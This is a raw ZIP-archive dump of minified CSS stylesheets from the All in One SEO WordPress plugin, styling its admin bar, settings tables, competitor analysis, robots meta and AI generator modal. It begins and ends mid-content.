NTk1NyA5LjQyNDc2IDEzLjU4MDZDOC4yNjI0OCAxMy4yOTcxIDcuMzk4MzggMTIuMjMwMSA3LjM5ODM4IDEwLjk1NzJWOS40MTgyM0M3LjM5ODM4IDkuMzAxMjUgNy40OTEzMSA5LjIwNjQyIDcuNjA1OTYgOS4yMDY0Mkg4LjMyNTg0VjcuNjkyMkM4LjMyNTg0IDcuNDgzMTIgOC40OTE5MyA3LjMxMzY0IDguNjk2ODMgNy4zMTM2NEM4LjkwMTcxIDcuMzEzNjQgOS4wNjc4MSA3LjQ4MzEyIDkuMDY3ODEgNy42OTIyVjkuMjA2NDJIMTEuMDE1NVY3LjY5MjJDMTEuMDE1NSA3LjQ4MzEyIDExLjE4MTYgNy4zMTM2NCAxMS4zODY1IDcuMzEzNjRDMTEuNTkxNCA3LjMxMzY0IDExLjc1NzUgNy40ODMxMiAxMS43NTc1IDcuNjkyMlY5LjIwNjQySDEyLjQ3NzNDMTIuNTkyIDkuMjA2NDIgMTIuNjg0OSA5LjMwMTI1IDEyLjY4NDkgOS40MTgyM1YxMC45NTcyQzEyLjY4NDkgMTIuMjcwNCAxMS43NjUzIDEzLjM2NDMgMTAuNTQ3NCAxMy42MDUxQzEwLjU0NzcgMTMuNjEyMSAxMC41NDc4IDEzLjYxOTIgMTAuNTQ3OCAxMy42MjYzTDEwLjU0NzggMTUuMDY5NEMxMC41NDc4IDE1LjMzNzcgMTAuNjcxMSAxNS41ODc5IDEwLjg3MSAxNS43NjIyQzExLjI3MTUgMTYuMTExNSAxMS44MTI5IDE2LjU4MzcgMTIuMTkxIDE2LjQ1MDJDMTIuNDUyNyAxNi4zNTc3IDEyLjcwODYgMTYuMjQ5IDEyLjk1NzMgMTYuMTI0NkMxMy4xNzU2IDE2LjAxNTUgMTMuMjg1MiAxNS43NjYxIDEzLjIzNzEgMTUuNTIyOUwxMy4wNjU5IDE0LjY1NjVDMTMuMDIxOCAxNC40MzM0IDEzLjExMjggMTQuMjA3MSAxMy4yODU2IDE0LjA2MzNDMTMuNTU4NyAxMy44MzYxIDEzLjgxMDcgMTMuNTc5MiAxNC4wMzY2IDEzLjI5NDhDMTQuMTc3IDEzLjExOCAxNC4zOTg1IDEzLjAyNDQgMTQuNjE3MiAxMy4wNjg1TDE1LjQ2NjYgMTMuMjQwMUMxNS43MDUyIDEzLjI4ODMgMTUuOTQ5MyAxMy4xNzU2IDE2LjA1NTQgMTIuOTUyMkMxNi4xMTUzIDEyLjgyNjEgMTYuMTcxOSAxMi42OTcyIDE2LjIyNSAxMi41NjU5QzE2LjI3ODEgMTIuNDM0NSAxNi4zMjY5IDEyLjMwMjQgMTYuMzcxNCAxMi4xNjk4QzE2LjQ1MDMgMTEuOTM1IDE2LjM1NSAxMS42Nzk1IDE2LjE1MjQgMTEuNTQyMUwxNS40MzEyIDExLjA1MzJDMTUuMjQ1NSAxMC45MjczIDE1LjE1MyAxMC43MDE1IDE1LjE3NTUgMTAuNDc1MkMxNS4yMTE2IDEwLjExMSAxNS4yMTAxIDkuNzQ3NDQgMTUuMTczMyA5LjM4OTg2QzE1LjE0OTkgOS4xNjM2MSAxNS4yNDE3IDguOTM3NTcgMTUuNDI2OSA4LjgxMUwxNi4xNDY3IDguMzE5MjdDMTYuMzQ4OCA4LjE4MTI2IDE2LjQ0MzIgNy45MjU1OCAxNi4zNjM3IDcuNjkxMTVDMTYuMjczMSA3LjQyNDExIDE2LjE2NjUgNy4xNjI5MiAxNi4wNDQ3IDYuOTA5MTVDMTUuOTM3NyA2LjY4NjM4IDE1LjY5MzMgNi41NzQ2MiAxNS40NTUgNi42MjM2NkwxNC42MDU5IDYuNzk4MzdDMTQuMzg3MyA2Ljg0MzM0IDE0LjE2NTUgNi43NTA0OCAxNC4wMjQ2IDYuNTc0MThDMTMuODAxOSA2LjI5NTU0IDEzLjU1MDEgNi4wMzgzMiAxMy4yNzE0IDUuODA3ODRDMTMuMDk4MiA1LjY2NDYgMTMuMDA2NCA1LjQzODU4IDEzLjA0OTcgNS4yMTU0TDEzLjIxNzkgNC4zNDg2OEMxMy4yNjUxIDQuMTA1MjEgMTMuMTU0NiAzLjg1NjE2IDEyLjkzNTcgMy43NDc4N0MxMi44MTIxIDMuNjg2NjkgMTIuNjg1OCAzLjYyODk1IDEyLjU1NzEgMy41NzQ4QzEyLjQyODMgMy41MjA2NSAxMi4yOTg5IDMuNDcwODYgMTIuMTY4OSAzLjQyNTM3QzExLjkzODggMy4zNDQ4NSAxMS42ODg0IDMuNDQyMTEgMTEuNTUzOCAzLjY0ODg0TDExLjA3NDYgNC4zODQ3NUMxMC45NTEzIDQuNTc0MjUgMTAuNzMgNC42Njg2MiAxMC41MDgyIDQuNjQ1NzNDMTAuMTUxMyA0LjYwODkgOS43OTUwMiA0LjYxMDM5IDkuNDQ0NTkgNC42NDc5OUM5LjIyMjg2IDQuNjcxNzcgOS4wMDEzNCA0LjU3ODE4IDguODc3MzEgNC4zODkxM0w4LjM5NTQxIDMuNjU0NjRaIiBmaWxsPSIjZmZmIiAvPjwvc3ZnPg==)!important}[dir=ltr] #wpadminbar #wp-admin-bar-aioseo-main .aioseo-logo.svg{float:left;background-position:0 6px}[dir=rtl] #wpadminbar #wp-admin-bar-aioseo-main .aioseo-logo.svg{float:right;background-position:100% 6px}#wpadminbar #wp-admin-bar-aioseo-main.new-notifications>.ab-item{background:#2c3338;color:#72aee6}#wpadminbar #wp-admin-bar-aioseo-pro-upgrade a{background-color:#1da867;padding-bottom:5px}#wpadminbar #wp-admin-bar-aioseo-pro-upgrade a span{font-weight:600}#wpadminbar #wp-admin-bar-aioseo-pro-license a{background-color:#1da867;padding-bottom:5px}#wpadminbar #wp-admin-bar-aioseo-pro-license a span{font-weight:600}#wpadminbar .aioseo-menu-notification-counter{display:inline-flex;vertical-align:top;box-sizing:border-box;padding:0;min-width:18px;height:18px;border-radius:9px;font-size:11px;line-height:1.6;text-align:center;justify-content:center}[dir=ltr] #wpadminbar .aioseo-menu-notification-counter{margin:7px 0 0 5px}[dir=rtl] #wpadminbar .aioseo-menu-notification-counter{margin:7px 5px 0 0}#wpadminbar .aioseo-menu-notification-counter span{line-height:1;font-size:11px}#wpadminbar .aioseo-menu-notification-counter.aioseo-menu-notification-counter-frontend{background-color:#d63638}#wpadminbar .aioseo-menu-notification-indicator{width:8px;height:8px;border-radius:50%;background-color:#d63638;line-height:1.6;animation:aioseo-menu-notification-indicator-pulse 1.5s infinite}[dir=ltr] #wpadminbar .aioseo-menu-notification-indicator{float:right;margin:10px 4px 0 0}[dir=rtl] #wpadminbar .aioseo-menu-notification-indicator{float:left;margin:10px 0 0 4px}#wpadminbar .aioseo-menu-new-indicator{color:#f18200;vertical-align:super;font-size:9px}[dir=ltr] #wpadminbar .aioseo-menu-new-indicator{padding-left:2px}[dir=rtl] #wpadminbar .aioseo-menu-new-indicator{padding-right:2px}#toplevel_page_aioseo .aioseo-menu-notification-indicator{margin:6px 0 0;width:8px;height:8px;border-radius:50%;background-color:#d63638;line-height:1.6;animation:aioseo-menu-notification-indicator-pulse 1.5s infinite}[dir=ltr] #toplevel_page_aioseo .aioseo-menu-notification-indicator{float:right}[dir=rtl] #toplevel_page_aioseo .aioseo-menu-notification-indicator{float:left}#toplevel_page_aioseo .wp-submenu-wrap li a{position:relative}#toplevel_page_aioseo .wp-submenu-wrap li a .aioseo-menu-new-indicator{position:absolute}#toplevel_page_aioseo .aioseo-menu-new-indicator{color:#f18200;vertical-align:super;font-size:9px}[dir=ltr] #toplevel_page_aioseo .aioseo-menu-new-indicator{padding-left:2px}[dir=rtl] #toplevel_page_aioseo .aioseo-menu-new-indicator{padding-right:2px}@keyframes aioseo-menu-notification-indicator-pulse{0%{box-shadow:0 0 #ca4a1f80}to{box-shadow:0 0 0 10px #ca4a1f00}}@media screen and (max-width: 782px){#wpadminbar #wp-admin-bar-aioseo-main{display:block;position:static}#wpadminbar #wp-admin-bar-aioseo-main .ab-item .text{display:none}#wpadminbar #wp-admin-bar-aioseo-main .aioseo-logo.svg{width:52px;height:46px;background-position:50% 8px;background-size:30px}} PKÉ—[Çc—U˜˜>all-in-one-seo-pack/dist/Lite/assets/css/Advanced.CyGMC1uB.cssnu„[µü¤.aioseo-advanced .inline-upsell,.aioseo-advanced .warning{display:inline-flex;margin-top:12px}.aioseo-advanced .aioseo-input-container{max-width:500px} PKÉ—[1Xwɇ‡>all-in-one-seo-pack/dist/Lite/assets/css/Advanced.Dr34Hr2g.cssnu„[µü¤.card-block-query .aioseo-card{border-radius:4px;margin:0}.card-block-query .header{padding:16px;border-bottom:none}.card-block-query .header .header-title span{font-size:14px;font-weight:400}.card-block-query .query-arg-logs{width:100%}.card-block-query .query-arg-logs .query-arg-options{padding:16px;display:flex;align-items:center;gap:16px;background:#f3f4f5;border-style:solid;border-width:1px 0;border-color:#d0d1d7}.card-block-query .query-arg-logs .query-arg-options .query-arg-key{flex:1}.card-block-query .query-arg-logs .query-arg-options .query-arg-value{flex:2}.card-block-query .query-arg-logs .query-arg-button{padding:8px 16px}.card-block-query .query-arg-logs .query-arg-button svg.aioseo-circle-plus{width:16px;height:16px}[dir=ltr] .card-block-query .query-arg-logs .query-arg-button svg.aioseo-circle-plus{margin-right:8px}[dir=rtl] .card-block-query .query-arg-logs .query-arg-button svg.aioseo-circle-plus{margin-left:8px}.aioseo-query-args-table{margin-top:20px}.aioseo-query-args-table thead th,.aioseo-query-args-table tfoot th{white-space:nowrap}[dir=ltr] .aioseo-query-args-table .aioseo-wp-table .widefat .check-column{padding:11px 0 11px 3px}[dir=rtl] .aioseo-query-args-table .aioseo-wp-table .widefat .check-column{padding:11px 3px 11px 0}.aioseo-query-args-table .aioseo-tooltip{display:inline-block;margin:0;line-height:10px;vertical-align:sub}.aioseo-query-args-table .aioseo-tooltip svg{cursor:pointer;height:16px;width:16px}.aioseo-query-args-table .aioseo-alert{margin:20px 0}.aioseo-query-args-table .actions-query-args div{display:flex;align-items:start;gap:5px}.aioseo-query-args-table .actions-query-args div span{cursor:pointer;color:#005ae0}.aioseo-query-args-table .actions-query-args div span.separator{color:#8c8f9a}.aioseo-query-args-table .actions-query-args div span.no-link{cursor:text;color:#141b38}.block-arg-modal .modal-container{max-width:650px!important}.block-arg-modal .aioseo-modal-body{display:flex;align-items:center;justify-content:center;flex-direction:column;position:relative;margin:20px 0 50px}.block-arg-modal .aioseo-modal-body button.close{position:absolute;top:0;width:24px;height:24px;background-color:#fff;border:none;display:flex;align-items:center}[dir=ltr] .block-arg-modal .aioseo-modal-body button.close{right:11px}[dir=rtl] .block-arg-modal .aioseo-modal-body button.close{left:11px}.block-arg-modal .aioseo-modal-body button.close svg.aioseo-close{cursor:pointer;width:14px;height:14px}.block-arg-modal .aioseo-modal-body h3{font-size:20px;margin-bottom:16px}.block-arg-modal .aioseo-modal-body .reset-description{font-size:16px;color:#141b38;margin-bottom:16px;text-align:center;max-width:515px}.block-arg-modal .aioseo-modal-body .aioseo-button:not(.close):not(.import){margin-top:16px}.aioseo-search-appearance-advanced .description-format .add-tags,.aioseo-search-appearance-advanced .paged-format .add-tags{margin-top:0}.aioseo-search-appearance-advanced .description-notice{margin-top:10px}.aioseo-search-appearance-advanced .run-shortcodes-alert{margin-top:12px}.aioseo-search-appearance-advanced svg.aioseo-external{width:14px;height:14px}[dir=ltr] .aioseo-search-appearance-advanced svg.aioseo-external{margin-right:10px}[dir=rtl] .aioseo-search-appearance-advanced svg.aioseo-external{margin-left:10px}.aioseo-search-appearance-advanced .aioseo-alert{margin-top:10px}.aioseo-search-appearance-advanced .aioseo-rss-content-advanced .aioseo-settings-row .aioseo-col,.aioseo-search-appearance-advanced #aioseo-query-arg-monitoring .aioseo-settings-row .aioseo-col{padding-top:0}.aioseo-search-appearance-advanced .aioseo-rss-content-advanced .aioseo-description p,.aioseo-search-appearance-advanced #aioseo-query-arg-monitoring .aioseo-description p{font-size:14px;line-height:1.8;margin:8px 0 0}.aioseo-search-appearance-advanced .aioseo-rss-content-advanced .aioseo-description div.rss-link,.aioseo-search-appearance-advanced #aioseo-query-arg-monitoring .aioseo-description div.rss-link{margin:8px 0 0}.aioseo-search-appearance-advanced .card-block-query .header{height:unset}.aioseo-search-appearance-advanced .card-block-query .content{padding:0!important}.aioseo-search-appearance-advanced .table-retention .aioseo-select{max-width:200px} PKÉ—[:m”__Kall-in-one-seo-pack/dist/Lite/assets/css/AnalyzeCompetitorSite.CvskWUNL.cssnu„[µü¤.aioseo-site-score-competitor{position:relative;display:flex;align-items:flex-start;justify-content:center;flex-direction:column}.aioseo-site-score-competitor .aioseo-seo-site-score-score{position:relative;width:100%;max-width:200px}[dir=ltr] .aioseo-site-score-competitor .aioseo-seo-site-score-score{margin-right:1em}[dir=rtl] .aioseo-site-score-competitor .aioseo-seo-site-score-score{margin-left:1em}.aioseo-site-score-competitor .aioseo-seo-site-score-score svg{width:100%;height:auto}.aioseo-site-score-competitor .aioseo-seo-site-score-recommendations{margin:16px 0}.aioseo-site-score-competitor .aioseo-seo-site-score-recommendations>div:not(.links){display:flex;align-items:center;font-size:14px;color:#141b38;font-weight:600}.aioseo-site-score-competitor .aioseo-seo-site-score-recommendations>div:not(.links)+div:not(.links){margin-top:10px}.aioseo-site-score-competitor .aioseo-seo-site-score-recommendations>div:not(.links) .round{position:relative;border-radius:50%;width:24px;min-width:24px;max-width:24px;height:24px;display:flex;align-items:center;justify-content:center;font-size:12px;color:#fff;font-weight:600}[dir=ltr] .aioseo-site-score-competitor .aioseo-seo-site-score-recommendations>div:not(.links) .round{margin-right:10px}[dir=rtl] .aioseo-site-score-competitor .aioseo-seo-site-score-recommendations>div:not(.links) .round{margin-left:10px}.aioseo-site-score-competitor .aioseo-seo-site-score-recommendations>div:not(.links) .round.red{background-color:#df2a4a}.aioseo-site-score-competitor .aioseo-seo-site-score-recommendations>div:not(.links) .round.blue{background-color:#005ae0}.aioseo-site-score-competitor .aioseo-seo-site-score-recommendations>div:not(.links) .round.orange{background-color:#f18200}.aioseo-site-score-competitor .aioseo-seo-site-score-recommendations>div:not(.links) .round.green{background-color:#00aa63}.aioseo-site-score-competitor .refresh-results .aioseo-refresh{width:14px;height:14px}[dir=ltr] .aioseo-site-score-competitor .refresh-results .aioseo-refresh{margin-right:10px}[dir=rtl] .aioseo-site-score-competitor .refresh-results .aioseo-refresh{margin-left:10px}.aioseo-site-score-competitor .mobile-snapshot{margin-top:30px;max-width:250px}.aioseo-site-score-competitor .mobile-snapshot div{font-weight:600;font-size:16px;margin-bottom:10px}.aioseo-site-score-competitor .mobile-snapshot img{width:100%;height:auto}.aioseo-analyze-competitor-site .header .aioseo-trash{width:20px;height:20px;color:#8c8f9a;cursor:pointer}[dir=ltr] .aioseo-analyze-competitor-site .header .aioseo-trash{margin-left:14px}[dir=rtl] .aioseo-analyze-competitor-site .header .aioseo-trash{margin-right:14px}.aioseo-analyze-competitor-site .header .aioseo-trash:hover{color:#434960}.aioseo-analyze-competitor-site .competitor-results-main{display:flex;flex-direction:row;font-size:16px;align-items:flex-start}.aioseo-analyze-competitor-site .competitor-results-main .competitor-results-body{flex:1;min-width:0}[dir=ltr] .aioseo-analyze-competitor-site .competitor-results-main .competitor-results-body{margin-left:30px}[dir=rtl] .aioseo-analyze-competitor-site .competitor-results-main .competitor-results-body{margin-right:30px}.aioseo-analyze-competitor-site .aioseo-seo-site-score-cta{position:absolute;top:50%;background-color:#fff;padding:20px;border:1px solid #E8E8EB;box-shadow:0 2px 10px #005ae033;color:#141b38;font-size:16px;font-weight:600;width:82%;max-width:500px;text-align:center}[dir=ltr] .aioseo-analyze-competitor-site .aioseo-seo-site-score-cta{left:50%;transform:translate(-50%) translateY(-50%)}[dir=rtl] .aioseo-analyze-competitor-site .aioseo-seo-site-score-cta{right:50%;transform:translate(50%) translateY(-50%)} PKÉ—[+Õ›„‘‘Dall-in-one-seo-pack/dist/Lite/assets/css/AnimatedDannie.CS1Dm42Q.cssnu„[µü¤.aioseo-animated-dannie{display:flex;align-content:center;align-items:center;justify-content:center}.aioseo-animated-dannie svg{max-width:250px} PKÉ—[BM&Œfefe9all-in-one-seo-pack/dist/Lite/assets/css/App.CK7bzYV8.cssnu„[µü¤.aioseo-robots-meta .global-robots-settings{margin-top:16px;font-weight:600}.aioseo-robots-meta .global-robots-settings>.settings{margin-top:12px;font-weight:400;--aioseo-gutter: 12px;--total-gap-width: calc(3 * var(--aioseo-gutter));--aioseo-col-max-width: calc((100% - var(--total-gap-width)) / 4);display:grid;gap:var(--aioseo-gutter);grid-template-columns:repeat(auto-fill,minmax(max(150px,var(--aioseo-col-max-width)),1fr))}.aioseo-robots-meta .global-robots-settings>.settings>*{max-width:none}.aioseo-robots-meta .global-robots-settings>.settings .aioseo-col{max-width:none}.aioseo-robots-meta .global-robots-settings-options{display:flex;gap:12px;margin-top:16px}.aioseo-robots-meta .global-robots-settings-options>.aioseo-description{margin:0}.aioseo-robots-meta .global-robots-settings-options>.aioseo-description .aioseo-input,.aioseo-robots-meta .global-robots-settings-options>.aioseo-description .aioseo-select{min-width:200px;font-weight:400;margin-top:4px}@media screen and (max-width: 782px){.aioseo-robots-meta .global-robots-settings-options{display:block}.aioseo-robots-meta .global-robots-settings-options .max-snippet,.aioseo-robots-meta .global-robots-settings-options .max-video-preview{margin-bottom:20px}[dir=ltr] .aioseo-robots-meta .global-robots-settings-options .max-snippet,[dir=ltr] .aioseo-robots-meta .global-robots-settings-options .max-video-preview{margin-right:0}[dir=rtl] .aioseo-robots-meta .global-robots-settings-options .max-snippet,[dir=rtl] .aioseo-robots-meta .global-robots-settings-options .max-video-preview{margin-left:0}.aioseo-robots-meta .global-robots-settings-options>div .aioseo-input,.aioseo-robots-meta .global-robots-settings-options>div .aioseo-select{min-width:100%}}.edit-post-sidebar .global-robots-settings{padding-top:12px}.edit-post-sidebar .global-robots-settings>.settings{padding:4px 0 12px}.edit-post-sidebar .global-robots-settings>.settings label{font-size:14px}.edit-post-sidebar .global-robots-settings .robots-meta-title{padding-top:4px;display:inline-block}.edit-post-sidebar .global-robots-settings-options{flex-wrap:wrap}[dir=ltr] .edit-post-sidebar .max-snippet{margin-right:30px!important}[dir=rtl] .edit-post-sidebar .max-snippet{margin-left:30px!important}[dir=ltr] .edit-post-sidebar .max-video-preview{margin-right:0!important}[dir=rtl] .edit-post-sidebar .max-video-preview{margin-left:0!important}.edit-post-sidebar .max-image-preview{margin-top:20px!important}.aioseo-post-advanced .inline-upsell{display:inline-flex;margin-top:12px}.aioseo-post-advanced .selectbox-row{display:flex;align-items:center}.aioseo-post-advanced .selectbox-row .separator{display:inline-block;margin:0 20px;padding-bottom:10px;align-self:flex-end}.aioseo-post-advanced .selectbox-row .select{display:inline-block;width:100%;max-width:125px}.aioseo-post-advanced .selectbox-row .select>span{display:inline-block;font-size:14px;margin-bottom:10px}.tru-seo-highlight-popover[data-v-966cf3f9]{align-items:center;background-color:#2c324c;border-radius:4px;color:#fff;display:inline-flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif;font-size:12px;line-height:normal;position:relative;-webkit-user-select:none;user-select:none}[dir=ltr] .tru-seo-highlight-popover[data-v-966cf3f9]{padding:4px 5px 4px 10px}[dir=rtl] .tru-seo-highlight-popover[data-v-966cf3f9]{padding:4px 10px 4px 5px}.tru-seo-highlight-popover *[data-v-966cf3f9]{font-size:inherit}.tru-seo-highlight-popover[data-v-966cf3f9]:before{border-style:solid;content:"";height:0;position:absolute;width:0}.tru-seo-highlight-popover[data-arrow-placement=right][data-v-966cf3f9]:before{top:50%}[dir=ltr] .tru-seo-highlight-popover[data-arrow-placement=right][data-v-966cf3f9]:before{border-color:transparent transparent transparent #2C324C;border-width:6px 0 6px 6px;left:100%;transform:translate(-20%,-50%)}[dir=rtl] .tru-seo-highlight-popover[data-arrow-placement=right][data-v-966cf3f9]:before{border-color:transparent #2C324C transparent transparent;border-width:6px 6px 6px 0;right:100%;transform:translate(20%,-50%)}.tru-seo-highlight-popover[data-arrow-placement=bottomleft][data-v-966cf3f9]:before{border-color:#2C324C transparent transparent transparent;border-width:8px 8px 0 8px;top:100%;transform:translateY(-50%)}[dir=ltr] .tru-seo-highlight-popover[data-arrow-placement=bottomleft][data-v-966cf3f9]:before{left:0}[dir=rtl] .tru-seo-highlight-popover[data-arrow-placement=bottomleft][data-v-966cf3f9]:before{right:0}.tru-seo-highlight-popover__bullet[data-v-966cf3f9]{height:8px;line-height:8px;width:8px;color:#34d399}[dir=ltr] .tru-seo-highlight-popover__bullet[data-v-966cf3f9]{margin-right:5px}[dir=rtl] .tru-seo-highlight-popover__bullet[data-v-966cf3f9]{margin-left:5px}.tru-seo-highlight-popover__bullet--error[data-v-966cf3f9]{color:#f87171}[dir=ltr] .tru-seo-highlight-popover__count[data-v-966cf3f9]{margin-right:8px}[dir=rtl] .tru-seo-highlight-popover__count[data-v-966cf3f9]{margin-left:8px}.tru-seo-highlight-popover__pipe[data-v-966cf3f9]{height:12px;line-height:12px;width:1px;background-color:#8c8f9a}[dir=ltr] .tru-seo-highlight-popover__pipe[data-v-966cf3f9]{margin-right:8px}[dir=rtl] .tru-seo-highlight-popover__pipe[data-v-966cf3f9]{margin-left:8px}.tru-seo-highlight-popover__nav[data-v-966cf3f9],.tru-seo-highlight-popover__close[data-v-966cf3f9]{height:20px;line-height:20px;width:auto}.tru-seo-highlight-popover__nav .caret-wrapper[data-v-966cf3f9],.tru-seo-highlight-popover__nav .close-wrapper[data-v-966cf3f9],.tru-seo-highlight-popover__close .caret-wrapper[data-v-966cf3f9],.tru-seo-highlight-popover__close .close-wrapper[data-v-966cf3f9]{height:20px;line-height:20px;width:20px;align-items:center;border-radius:2px;display:inline-flex;justify-content:center}[dir=ltr] .tru-seo-highlight-popover__nav .caret-wrapper[data-v-966cf3f9],[dir=ltr] .tru-seo-highlight-popover__close .caret-wrapper[data-v-966cf3f9]{margin-right:4px}[dir=rtl] .tru-seo-highlight-popover__nav .caret-wrapper[data-v-966cf3f9],[dir=rtl] .tru-seo-highlight-popover__close .caret-wrapper[data-v-966cf3f9]{margin-left:4px}[dir=ltr] .tru-seo-highlight-popover__nav .caret-wrapper--previous[data-v-966cf3f9],[dir=ltr] .tru-seo-highlight-popover__close .caret-wrapper--previous[data-v-966cf3f9]{transform:rotate(180deg)}[dir=rtl] .tru-seo-highlight-popover__nav .caret-wrapper--previous[data-v-966cf3f9],[dir=rtl] .tru-seo-highlight-popover__close .caret-wrapper--previous[data-v-966cf3f9]{transform:rotate(-180deg)}.tru-seo-highlight-popover__close[data-v-966cf3f9]{height:20px;line-height:20px;width:auto}.tru-seo-highlight-popover__nav[data-v-966cf3f9]{height:20px;line-height:20px;width:50px}.tru-seo-highlight-popover button[data-v-966cf3f9]{background-color:transparent;border:none;box-shadow:none;color:#fff;cursor:pointer;outline:none;opacity:1;padding:0;position:relative}.tru-seo-highlight-popover button[data-v-966cf3f9]:disabled{cursor:not-allowed;opacity:.5}.tru-seo-highlight-popover button[data-v-966cf3f9]:hover,.tru-seo-highlight-popover button[data-v-966cf3f9]:focus{background-color:#434960}.aioseo-keyphrase-tag .keyphrase-delete .aioseo-tooltip{display:flex;margin:0}.aioseo-keyphrase-tag .keyphrase-delete svg{width:16px;height:16px}.tru-seo-toggle-highlighter{background:transparent;border:none;box-shadow:none;cursor:pointer;opacity:1;outline-color:#005ae0;outline-offset:1px;outline-width:1px;padding:0}.tru-seo-toggle-highlighter:disabled{cursor:not-allowed}.tru-seo-toggle-highlighter:disabled svg{opacity:.5}mark.annotation-text.annotation-text-aioseo-tru-seo-highlighter,span.annotation-text.annotation-text-aioseo-tru-seo-highlighter{background-color:#cce0ff;border-radius:4px;color:inherit;display:inline;font-size:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;position:static}.aioseo-analysis-detail{margin:0 0 16px;padding:0;list-style:none}.aioseo-analysis-detail li{position:relative;margin-bottom:0;font-size:14px;line-height:22px}[dir=ltr] .aioseo-analysis-detail li{padding-left:24px}[dir=rtl] .aioseo-analysis-detail li{padding-right:24px}.aioseo-analysis-detail li+li{margin-top:16px}.aioseo-analysis-detail li p{font-size:inherit;line-height:inherit;margin:0;padding:0}.aioseo-analysis-detail li svg.aioseo-circle-check{color:#00aa63}.aioseo-analysis-detail li svg.aioseo-circle-close{color:#df2a4a}.aioseo-analysis-detail li svg.aioseo-circle-check,.aioseo-analysis-detail li svg.aioseo-circle-close{position:absolute;top:2px}[dir=ltr] .aioseo-analysis-detail li svg.aioseo-circle-check,[dir=ltr] .aioseo-analysis-detail li svg.aioseo-circle-close{left:0}[dir=rtl] .aioseo-analysis-detail li svg.aioseo-circle-check,[dir=rtl] .aioseo-analysis-detail li svg.aioseo-circle-close{right:0}.aioseo-analysis-detail li svg.aioseo-caret{cursor:pointer;transition:transform .3s}[dir=ltr] .aioseo-analysis-detail li svg.aioseo-caret{transform:rotate(-180deg)}[dir=rtl] .aioseo-analysis-detail li svg.aioseo-caret{transform:rotate(180deg)}.aioseo-analysis-detail li .title{align-items:center;display:flex;gap:4px}.aioseo-analysis-detail li .title__text{font-weight:700}[dir=ltr] .aioseo-analysis-detail li .title__text{margin-right:6px}[dir=rtl] .aioseo-analysis-detail li .title__text{margin-left:6px}.edit-post-sidebar .aioseo-analysis-detail li .title__text{flex:1}[dir=ltr] .aioseo-analysis-detail li .title.toggled .aioseo-caret{transform:rotate(-90deg)}[dir=rtl] .aioseo-analysis-detail li .title.toggled .aioseo-caret{transform:rotate(90deg)}.aioseo-analysis-detail li .title.toggled+.description{opacity:0;height:0;margin:0}.aioseo-analysis-detail li .title .tru-seo-toggle-highlighter{color:#434960;height:16px;width:16px}.aioseo-analysis-detail li .title .tru-seo-toggle-highlighter .aioseo-tooltip{display:block;margin:0}.aioseo-analysis-detail li .title .tru-seo-toggle-highlighter .aioseo-tooltip :has(svg),.aioseo-analysis-detail li .title .tru-seo-toggle-highlighter .aioseo-tooltip :has(svg) *{height:16px;width:16px}.aioseo-analysis-detail li .description{color:#141b38;font-style:normal;font-weight:400;opacity:1;height:auto;margin-top:5px;transition:all .3s}.aioseo-description.additional-keyphrases-description[data-v-73d0fe06],.edit-post-sidebar .aioseo-app .aioseo-description.additional-keyphrases-description[data-v-73d0fe06]{margin:0 0 12px}.aioseo-ai-generator-modal .modal-wrapper .modal-container{max-width:850px}[dir=ltr] .aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-header{padding:0 0 0 16px}[dir=rtl] .aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-header{padding:0 16px 0 0}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body{position:relative}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .list .suggestions{display:flex;flex-direction:column;gap:16px;padding:16px}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .list .suggestions .suggestion .aioseo-editor .ql-disabled{background-color:#fff}[dir=ltr] .aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .list .suggestions .suggestion .aioseo-editor .aioseo-editor-single .ql-editor{padding:7px 55px 7px 10px}[dir=rtl] .aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .list .suggestions .suggestion .aioseo-editor .aioseo-editor-single .ql-editor{padding:7px 10px 7px 55px}[dir=ltr] .aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .list .suggestions .suggestion .aioseo-editor .ql-editor{padding:15px 55px 15px 15px}[dir=rtl] .aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .list .suggestions .suggestion .aioseo-editor .ql-editor{padding:15px 15px 15px 55px}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .list .suggestions .suggestion button{display:flex;align-items:center;justify-content:center}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .list .suggestions .suggestion button svg{width:14px;height:14px}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .cta{padding:0 0 40px;background-color:#fff}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .cta img{width:100%}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .cta div.bottom{padding:0 16px;display:flex;flex-direction:column;align-items:center;text-align:center}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .cta div.bottom div{width:520px}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .cta div.bottom div p{font-size:14px;line-height:22px}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .cta div.bottom div p.title{font-size:18px;font-weight:700;line-height:22px;color:#141b38;margin-bottom:14px}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .cta div.bottom div:nth-of-type(2){margin-top:26px}[dir=ltr] .aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .cta div.bottom div:nth-of-type(2) .aioseo-button{margin-right:18px}[dir=rtl] .aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .cta div.bottom div:nth-of-type(2) .aioseo-button{margin-left:18px}.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .cta div.bottom div:nth-of-type(2) .feature-link,.aioseo-ai-generator-modal .modal-wrapper .modal-container .modal-body .cta div.bottom div:nth-of-type(2) .no-underline{color:#434960}.aioseo-post-general .aioseo-ai-generator button{display:flex;align-items:center;justify-content:center}.aioseo-post-general .aioseo-ai-generator button svg.aioseo-ai-robot{width:15px;height:13px;color:#141b38}.aioseo-post-general .aioseo-ai-generator button svg.aioseo-ai-robot:hover{color:#434960}[dir=ltr] .aioseo-post-general .snippet-title-row .aioseo-editor .aioseo-editor-single .ql-editor{padding:7px 55px 7px 10px}[dir=rtl] .aioseo-post-general .snippet-title-row .aioseo-editor 